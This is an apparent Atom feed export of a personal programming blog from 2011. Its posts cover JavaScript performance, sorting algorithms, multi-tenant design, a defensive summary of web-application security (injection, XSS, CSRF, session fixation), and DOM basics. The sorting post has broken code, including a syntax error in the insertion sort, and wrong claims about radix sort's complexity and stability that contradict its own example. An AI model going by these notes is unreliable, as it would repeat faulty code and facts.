Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7352304713664099069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7352304713664099069'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/12/finding-prime-numbers-with-in-given.html' title='Finding prime numbers with in a given number n.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-4449628085933351353</id><published>2011-12-10T20:32:00.000-08:00</published><updated>2011-12-10T20:32:37.111-08:00</updated><title type='text'>Javascript performance.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;&lt;br /&gt;Scope maangement:&lt;br /&gt;- Try to bring global variables that you use frequently to the local scope of the function.&lt;br /&gt;- Avoid with statements (as they augment the scope chain further) / even catch statements if there is a better way to handle it.&lt;br /&gt;- Use closure statements sparingly. As they would create min 3 scope chains&lt;br /&gt;Data access&lt;br /&gt;- Literals and variables are faster than objects and arrays. (firefox arrays are faster than objects)&lt;br /&gt;Store these in a local variable:&lt;br /&gt;– Any object property accessed more than once&lt;br /&gt;– Any array item accessed more than once&lt;br /&gt;=============================&lt;br /&gt;function processData(data){&lt;br /&gt;if(data.count &amp;gt; 0 ){&lt;br /&gt;for(var i = 0; i&amp;lt;data.count;i++){&lt;br /&gt;processData(data.item[i]);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;============================&lt;br /&gt;the below code is 33% faster in IE compared to the previous code.&lt;br /&gt;=============================&lt;br /&gt;function processData(data){&lt;br /&gt;var count &amp;nbsp;= data.count, item = data.item;&lt;br /&gt;if(count &amp;gt; 0 ){&lt;br /&gt;for(var i = 0; i&amp;lt;count;i++){&lt;br /&gt;processData(item[i]);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;============================&lt;br /&gt;&lt;br /&gt;Loops: Avoid unnecessary calculations in the loops. Make them faster.&lt;br /&gt;DOM:&lt;br /&gt;HTMLCollections object is slow - getElementsByTagName(), getElementsByClassName(), document.forms etc&lt;br /&gt;&lt;br /&gt;Minimize the reflow:&lt;br /&gt;It happens on - page load, browser resize, dom nodes addition removal, style property changes on elements, some times even access of style properties.&lt;br /&gt;&lt;br /&gt;- So instead of doing append child inside a for loop, create a documentFragment inside for loop and then append it to the required element at one go.&lt;br /&gt;- Updating style object one after the other is slow. Instead group them under a single class in a css file and change the css class at one go using javascript.&lt;br /&gt;- accessing offset widths, might trigger reflow, dont do them in loops.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-4449628085933351353?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/4449628085933351353/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=4449628085933351353' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/4449628085933351353'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/4449628085933351353'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/12/javascript-performance.html' title='Javascript performance.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-9026333096601550064</id><published>2011-11-26T03:20:00.000-08:00</published><updated>2011-12-28T02:54:05.439-08:00</updated><title type='text'>Sorting algorithms.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Sorting Algorithms:&lt;br /&gt;Lets say we have pack of cards that are to be sorted.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Bubble sort:&lt;/b&gt;&lt;br /&gt;Compare first with the second, choose the smaller and swap them. Then compare the second one with the third and so on. Once a iteration is done, repeat the steps again. Repeat the iterations till you have not done even a single swap in the last iteration.&lt;br /&gt;&lt;br /&gt;Time complexity:&lt;br /&gt;Worst case: O(n2)&lt;br /&gt;Base case: O(n)&lt;br /&gt;Average: O(n2)&lt;br /&gt;Space complexity: Inplace O(1)&lt;br /&gt;IsStable: Yes&lt;br /&gt;Java implementation: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Selection sort:&amp;nbsp;&lt;/b&gt;&lt;br /&gt;Find out the smallest number in the given set of cards, you do this by taking the first card, compare it with the next set of the cards one by one, if you find a smaller card than the current card, you swap the smaller one on to your hand and continue with the&amp;nbsp;comparison, once the list is exhausted. The card in your hand is the smallest, &amp;nbsp;place it at the start of the list. Then continue to find the smallest in the next set. Once you do this for the entire list, the list would be in sorted order.&lt;br /&gt;&lt;br /&gt;Worst case: O(n2)&lt;br /&gt;Base case: O(n2)&lt;br /&gt;Average: O(n2)&lt;br /&gt;Space complexity: Inplace O(1)&lt;br /&gt;IsStable: No (however with a with increased space complexity can be done)&lt;br /&gt;Java implementation: &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Insertion sort:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Insertion sort is like adding new card to an already ordered set of cards at hand. &lt;br /&gt;You pick a key element which is the new number that you have picked up, then you go through the already arranged elements and compare them with key, if any number is greater than key, you move it to one place up, and once you dont find any number greater than key with in the current list, you insert the key at that place.&lt;br /&gt;&lt;br /&gt;Worst case: O(n2)&lt;br /&gt;Best case: O(n)&lt;br /&gt;Average: O(n2)&lt;br /&gt;Space complexity: Inplace O(1)&lt;br /&gt;IsStable: yes&lt;br /&gt;Javascript implementation: &lt;br /&gt;&lt;div style="height:100%;"&gt;&lt;pre name="orion"&gt;function insertionsort() {&lt;br /&gt;    var a = [].slice.call(arguments);&lt;br /&gt;    var l = a.length;&lt;br /&gt;    for (i = 1; i &amp;lt; l; i++) {&lt;br /&gt;        k = i - 1;&lt;br /&gt;        key = a[i];  // hold the current value of key in key.&lt;br /&gt;        // check if the numbers which are sorted till now are greater than key, if you find any, move them one level up and insert the key there.&lt;br /&gt;        while ((k &amp;gt; = 0) &amp;amp;&amp;amp;(a[k] &amp;gt; key)) {&lt;br /&gt;            a[k + 1] = a[k];&lt;br /&gt;            k--;&lt;br /&gt;        }&lt;br /&gt;        a[k + 1] = key;&lt;br /&gt;    }&lt;br /&gt;    console.log(a);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Shell sort:&lt;/b&gt;&lt;br /&gt;Its hard to explain shell sort. Basically you choose some gaps and then pick numbers with in that gap and sort/swap them. And repeat this process till the start end. You can find the video explaining this &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://1.gvt0.com/vi/QG8hs0wqmqk/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/QG8hs0wqmqk&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/QG8hs0wqmqk&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Another better one.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://1.gvt0.com/vi/qzXAVXddcPU/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/qzXAVXddcPU&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/qzXAVXddcPU&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;The time complexity of the shell sort depends on the gap you have choosen. For &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sequence (2 pow k − 1) complexity is (N pow 3/2)&lt;br /&gt;successive numbers of the form (2 pow p) or (3 pow q)) complexity is (N((logN)pow 2)) - ex: 1, 2, 3, 4, 6, 8, 9, 12&lt;br /&gt;Best case: O(n)&lt;br /&gt;Space complexity: Inplace O(1)&lt;br /&gt;IsStable: no&lt;br /&gt;Java implementation: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Quick sort:&lt;/b&gt;&lt;br /&gt;Pick a pivot card, and partition the numbers into to numbers less than pivot card, numbers greater than pivot card. This can be done by comparing the &lt;br /&gt;&lt;br /&gt;You then repeat this process on the left and right hand side partitions by choosing another pivot with in them. The process continues till you cant select a pivot.&lt;br /&gt;&lt;br /&gt;Time complexity: &lt;br /&gt;Worst case: O(n2) (happens when the elements are already sorted in the opposite order, to avoid this we generally choose a randomized pivot)&lt;br /&gt;Best case: nlogn&lt;br /&gt;Average: nlogn&lt;br /&gt;Space complexity: log n&lt;br /&gt;IsStable: depends ??&lt;br /&gt;Java implementation: &lt;br /&gt;&lt;div style="height:100%;"&gt;&lt;pre name="orion"&gt;public static class QuickSort{&lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;  public void sort(int[] a, int left, int right){&lt;br /&gt;   int p;&lt;br /&gt;   if(left &amp;lt; right){&lt;br /&gt;   p = partition(a, left,right);&lt;br /&gt;   sort(a,left,p);&lt;br /&gt;   sort(a,p+1,right);&lt;br /&gt;   &lt;br /&gt;   &lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  public int partition(int[] a, int left, int right){&lt;br /&gt;   &lt;br /&gt;   int pivot = a[right];&lt;br /&gt;   int i=left;&lt;br /&gt;   int j= right;&lt;br /&gt;   int temp;&lt;br /&gt;   while(true){&lt;br /&gt;    while(a[i]&amp;lt;pivot){&lt;br /&gt;     i++;&lt;br /&gt;    }&lt;br /&gt;    while(a[j]&amp;gt;pivot){&lt;br /&gt;     j--;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    if(i&amp;lt;=j){&lt;br /&gt;    temp = a[i];&lt;br /&gt;    a[i] = a[j];&lt;br /&gt;    a[j] = temp;&lt;br /&gt;    i++;&lt;br /&gt;    j--;&lt;br /&gt;    }&lt;br /&gt;    else{&lt;br /&gt;     return j;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;   }&lt;br /&gt;   &lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;b&gt;Merge sort:&lt;/b&gt; &lt;br /&gt;Divide cards into two sublists of about half the size. Sort each sublist recursively. Till the list is of length 0 or 1, then it is already sorted. Merge the sublists back into one sorted list.&lt;br /&gt;Time complexity:&lt;br /&gt;&amp;nbsp;Worst case: O(n log n )&lt;br /&gt;Best case: O(n log n )&lt;br /&gt;Average: O(n log n )&lt;br /&gt;Space complexity: n&lt;br /&gt;IsStable: yes&lt;br /&gt;Java implementation:&lt;br /&gt;&lt;b&gt;Heap sort:&lt;/b&gt; Create a heap structure and then keep reading the min of the heap. Once the min is picked, keep deleting the min element. That would return the sorted list. This cannot be demonstrated using the cards.&lt;br /&gt;&amp;nbsp;Time complexity:&lt;br /&gt;&amp;nbsp;Worst case: O(n log n )&lt;br /&gt;Best case: O(n log n )&lt;br /&gt;Average: O(n log n )&lt;br /&gt;Space complexity: 1&lt;br /&gt;IsStable: No&lt;br /&gt;Java implementation:&lt;br /&gt;&lt;b&gt;Binary sort:&lt;/b&gt;  Construct a binary tree and do a inorder traversal to print the sorted sequence.  &lt;br /&gt;&lt;h2&gt;Non Comparison sorts:&lt;/h2&gt;These sorts are done where in we are dealing only with number esp of some range. Hence better performance then nlogn is possible.&lt;br /&gt;&lt;b&gt;Radix sort:&lt;/b&gt;&lt;br /&gt;Lsd radix sort, sort the numbers based on their least significat bits and repeat this process with each more significant bit.&lt;br /&gt;&amp;nbsp;Example:&lt;br /&gt;Original, unsorted list:&lt;br /&gt;170, 45, 75, 90, 802, 24, 2, 66&lt;br /&gt;Sorting by least significant digit (1st place) gives:&lt;br /&gt;&amp;nbsp;170, 90, 802, 2, 24, 45, 75, 66&lt;br /&gt;Notice that we keep 802 before 2, because 802 occurred before 2 in the original list, and similarly for pairs 170 &amp;amp; 90 and 45 &amp;amp; 75.&lt;br /&gt;Sorting by next digit (10s place) gives:&lt;br /&gt;802, 2, 24, 45, 66, 170, 75, 90&lt;br /&gt;Sorting by most significant digit (100s place) gives:&lt;br /&gt;2, 24, 45, 66, 75, 90, 170, 802&lt;br /&gt;Note the sorting the last digits etc takes O(n) time only  as we can use bucket sort.&lt;br /&gt;&amp;nbsp;Time complexity:&lt;br /&gt;&amp;nbsp;Worst case: O(n log n )&lt;br /&gt;Best case: O(n log n )&lt;br /&gt;Average: O(n log n )&lt;br /&gt;Space complexity: 1&lt;br /&gt;IsStable: No&lt;br /&gt;Java implementation:&lt;br /&gt;&lt;b&gt;Bucket sort:&lt;/b&gt; Place each card in a buckets which are alread in sorted order, and then retrieve them as per the sort order of the buckets.&lt;br /&gt;&amp;nbsp;Time complexity:&lt;br /&gt;&amp;nbsp;Worst case: O(n+r)  (r is the range of numbers to be sorted - basically number of buckets)&lt;br /&gt;Best case: O(n+r)&lt;br /&gt;Average:O(n+r)&lt;br /&gt;Space complexity: O(n+r)&lt;br /&gt;IsStable: Yes&lt;br /&gt;Java&amp;nbsp;implementation:&lt;br /&gt;&lt;b&gt;Count sort:&lt;/b&gt;&lt;br /&gt;&lt;div&gt;Asymptotic analysis:  logn &amp;lt; n &amp;lt; n2 (n - square) &amp;lt;n3... &amp;lt; 2 to the power of n.  big O notation. n2+2n+3n+logn = O(n2)  ADT - Stack (with arrays)  Stack implementation in Javascript.  - Queue (with arrays / linked lists ) - Dqueue (with linked lists) - Dqueue can be used to implement stacks and queues - Circular lists with a sentinel is a efficient way to implement stacks / queues.?(this is interesting to implement) - Vector (ranks) - Position  - List (based on positions) - Sequence (rank + positions)  - Dictionary - Hash tables - Binary trees - Redblack trees - Avl trees - B-trees  &lt;b&gt;Binary Search: &lt;/b&gt;First sort and then divide and conquer the same to search O(log n base 2)  Hash function: Hash codemap - key -&amp;gt; integer Hash compression map - integer -&amp;gt; [0, N-1]   stack - creation tight strategy - (add constant) - f(N) = N+c &amp;nbsp;- O(n2) growth strategy - (double up) - f(N) = 2N &amp;nbsp;- O(n)   &lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-9026333096601550064?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/9026333096601550064/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=9026333096601550064' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/9026333096601550064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/9026333096601550064'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/11/data-structures-and-algorithms.html' title='Sorting algorithms.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-6312910903698245789</id><published>2011-11-24T22:06:00.000-08:00</published><updated>2011-11-24T22:06:09.131-08:00</updated><title type='text'>Multi tenant challenges.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;The main reason for using multitenancy is to do remove maintenance night mare.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Views:&lt;/b&gt;&lt;br /&gt;- Customizable with css and html (to an extent) - choosing a different css file for each tenant.&lt;br /&gt;- In MVC drive the views based on tenant with each view for tenant in a different folder.&lt;br /&gt;- All static files are stored under tenant specific folders - which is driven via a config file.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Business logic:&lt;/b&gt;&lt;br /&gt;- Modularize the code and enable only few modules for each tenant.&lt;br /&gt;- Inversion of control - using hooks.&lt;br /&gt;- Dependency injection - driving the class names from config files based on the tenant.&lt;br /&gt;- Generative programming. (while deploying the tenant, use admin tool to drive some of the code).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Data:&lt;/b&gt;&lt;br /&gt;-&amp;nbsp;&lt;a href="http://msdn.microsoft.com/en-us/library/aa479086.aspx"&gt;http://msdn.microsoft.com/en-us/library/aa479086.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;A database for each tenant&lt;/u&gt;&lt;br /&gt;security- database conn is different so no problem&lt;br /&gt;extending - create&amp;nbsp;separate&amp;nbsp;columns for the tenant if required. or have prefixed extendable columns.&lt;br /&gt;scaling - scale the tenant database as required.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Single database with different table prefix for each tenant&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;security- database table prefix is different so not much problem if there is a single db class where we append prefix.&lt;br /&gt;extending - create seperate columns for the tenant if required. or have prefixed extendable columns.&lt;br /&gt;scaling - move the tables as required to a different database and scale it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Single database with same tables with tenant id key.&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;security- Care should be taken to ensure the security of the queries.&lt;br /&gt;extending - Have extrafields up front / have a&amp;nbsp;separate&amp;nbsp;table where you store extended columns. as explained &lt;a href="http://stackoverflow.com/questions/1126783/what-are-design-patterns-to-support-custom-fields-in-an-application"&gt;here&lt;/a&gt;.&lt;br /&gt;scaling - Use horizontal partitioning for tables using partition ids.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-6312910903698245789?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/6312910903698245789/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=6312910903698245789' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/6312910903698245789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/6312910903698245789'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/11/multi-tenant-challenges.html' title='Multi tenant challenges.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-970715033773898124</id><published>2011-11-24T21:02:00.000-08:00</published><updated>2011-11-24T21:02:23.268-08:00</updated><title type='text'>Web application security.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;b&gt;SQL injection:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface. Beware of APIs, such as stored procedures, that appear parameterized, but may still allow injection under the hood.&lt;br /&gt;If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter.&lt;br /&gt;Positive or "whitelist" input validation with appropriate canonicalization also helps protect against injection, but is not a complete defense as many applications require special characters in their input.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Cross site scripting xss:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Developers need to include this escaping in their applications unless their UI framework does this for them. See the OWASP XSS Prevention Cheat Sheet for more information about data escaping techniques.&lt;br /&gt;Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications must accept special characters. Such validation should decode any encoded input, and then validate the length, characters, and format on that data before accepting the input.&lt;br /&gt;&lt;br /&gt;Using xss people can redirect users from your site to another, or get the session ids of your users and do session fixation etc.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Cross site forgery:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The easiest way to check whether an application is vulnerable is to see if each link and form contains an unpredictable token for each user. Without such an unpredictable token, attackers can forge malicious requests. Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets.&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;- &lt;/span&gt;using posts and referrer header checks helps to an extent.&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Failure to restrict private url access &lt;/b&gt;&amp;amp;&amp;nbsp;&lt;b&gt;Insecure direct object references:&lt;/b&gt;&lt;br /&gt;Just by chaning the parameters passed in the forms / urls users should not get access to what they are not supposed to access.&lt;br /&gt;or just by pasting the internal urls users should not be able to view the internal pages with out login.&lt;br /&gt;&lt;b&gt;Broken session management:&amp;nbsp;&lt;/b&gt;&lt;br /&gt;- You dont logout the user after some time of inactivity: If user forgets to logout, some one else can auto login.&lt;br /&gt;- If you use session ids in the url, if another user gets access to that url in the meantime, he can use the session.&lt;br /&gt;- Regenerate the session id on every request to avoid session fixation.&lt;br /&gt;&lt;a href="http://shiflett.org/articles/session-fixation"&gt;http://shiflett.org/articles/session-fixation&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://shiflett.org/images/security_corner_feb2004_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://shiflett.org/images/security_corner_feb2004_1.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;instead of&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;!--?php&amp;nbsp;&lt;/p--&gt;&lt;br /&gt;session_start();&lt;br /&gt;if (!isset($_SESSION['count']))&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; &amp;nbsp;$_SESSION['count'] = 0;&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; &amp;nbsp;$_SESSION['count']++;&lt;br /&gt;}&lt;br /&gt;echo $_SESSION['count'];&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;use&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;!--?php&amp;nbsp;&lt;/p--&gt;&lt;br /&gt;session_start();&lt;br /&gt;if (!isset($_SESSION['initiated']))&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; &amp;nbsp;session_regenerate_id();&lt;br /&gt;&amp;nbsp; &amp;nbsp;$_SESSION['initiated'] = true;&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Password should be encrypted and stored:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Security misconfiguration:&lt;/b&gt;&lt;br /&gt;directory listing.&lt;br /&gt;older version of frameworks&lt;br /&gt;exposing server version numbers.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-970715033773898124?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/970715033773898124/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=970715033773898124' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/970715033773898124'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/970715033773898124'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/11/web-application-security.html' title='Web application security.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-4754719173831035371</id><published>2011-11-16T07:33:00.001-08:00</published><updated>2011-11-16T07:33:32.854-08:00</updated><title type='text'>Another short but beautiful game I won.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;iframe frameborder="0" height="580" scrolling="no" src="http://www.chessvideos.tv/replayer-insert.php?id=53630" style="border: 1px solid black;" width="400"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-4754719173831035371?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/4754719173831035371/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=4754719173831035371' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/4754719173831035371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/4754719173831035371'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/11/another-short-but-beautiful-game-i-won.html' title='Another short but beautiful game I won.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-8958843624125958548</id><published>2011-11-14T09:49:00.001-08:00</published><updated>2011-11-24T19:19:44.500-08:00</updated><title type='text'>javascript dom</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;BOM:&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;Browser object model.&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;Window object: Its the global object that javascript core needs to function.&amp;nbsp;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;It is preferred to wrap your code inside a self-executing anonymous function, which you stop your code from clobbering its variables with the global namespace.&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;Window.open - for opening windows (popups) -&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;window.open('somepage.html','ppk',[arguments]); &amp;nbsp;- ppk is the window name.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;Window.location - to change the current window location and access, the host, protocol properties.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman', serif;"&gt;Window.navigator:&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 'Times New Roman'; font-size: medium; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table border="1" cellpadding="2" cellspacing="0" style="font-family: 'Times New Roman'; width: 625px;"&gt;&lt;colgroup&gt;&lt;col width="151"&gt;&lt;/col&gt;&lt;col width="464"&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th width="151"&gt;&lt;div align="LEFT"&gt;&lt;div 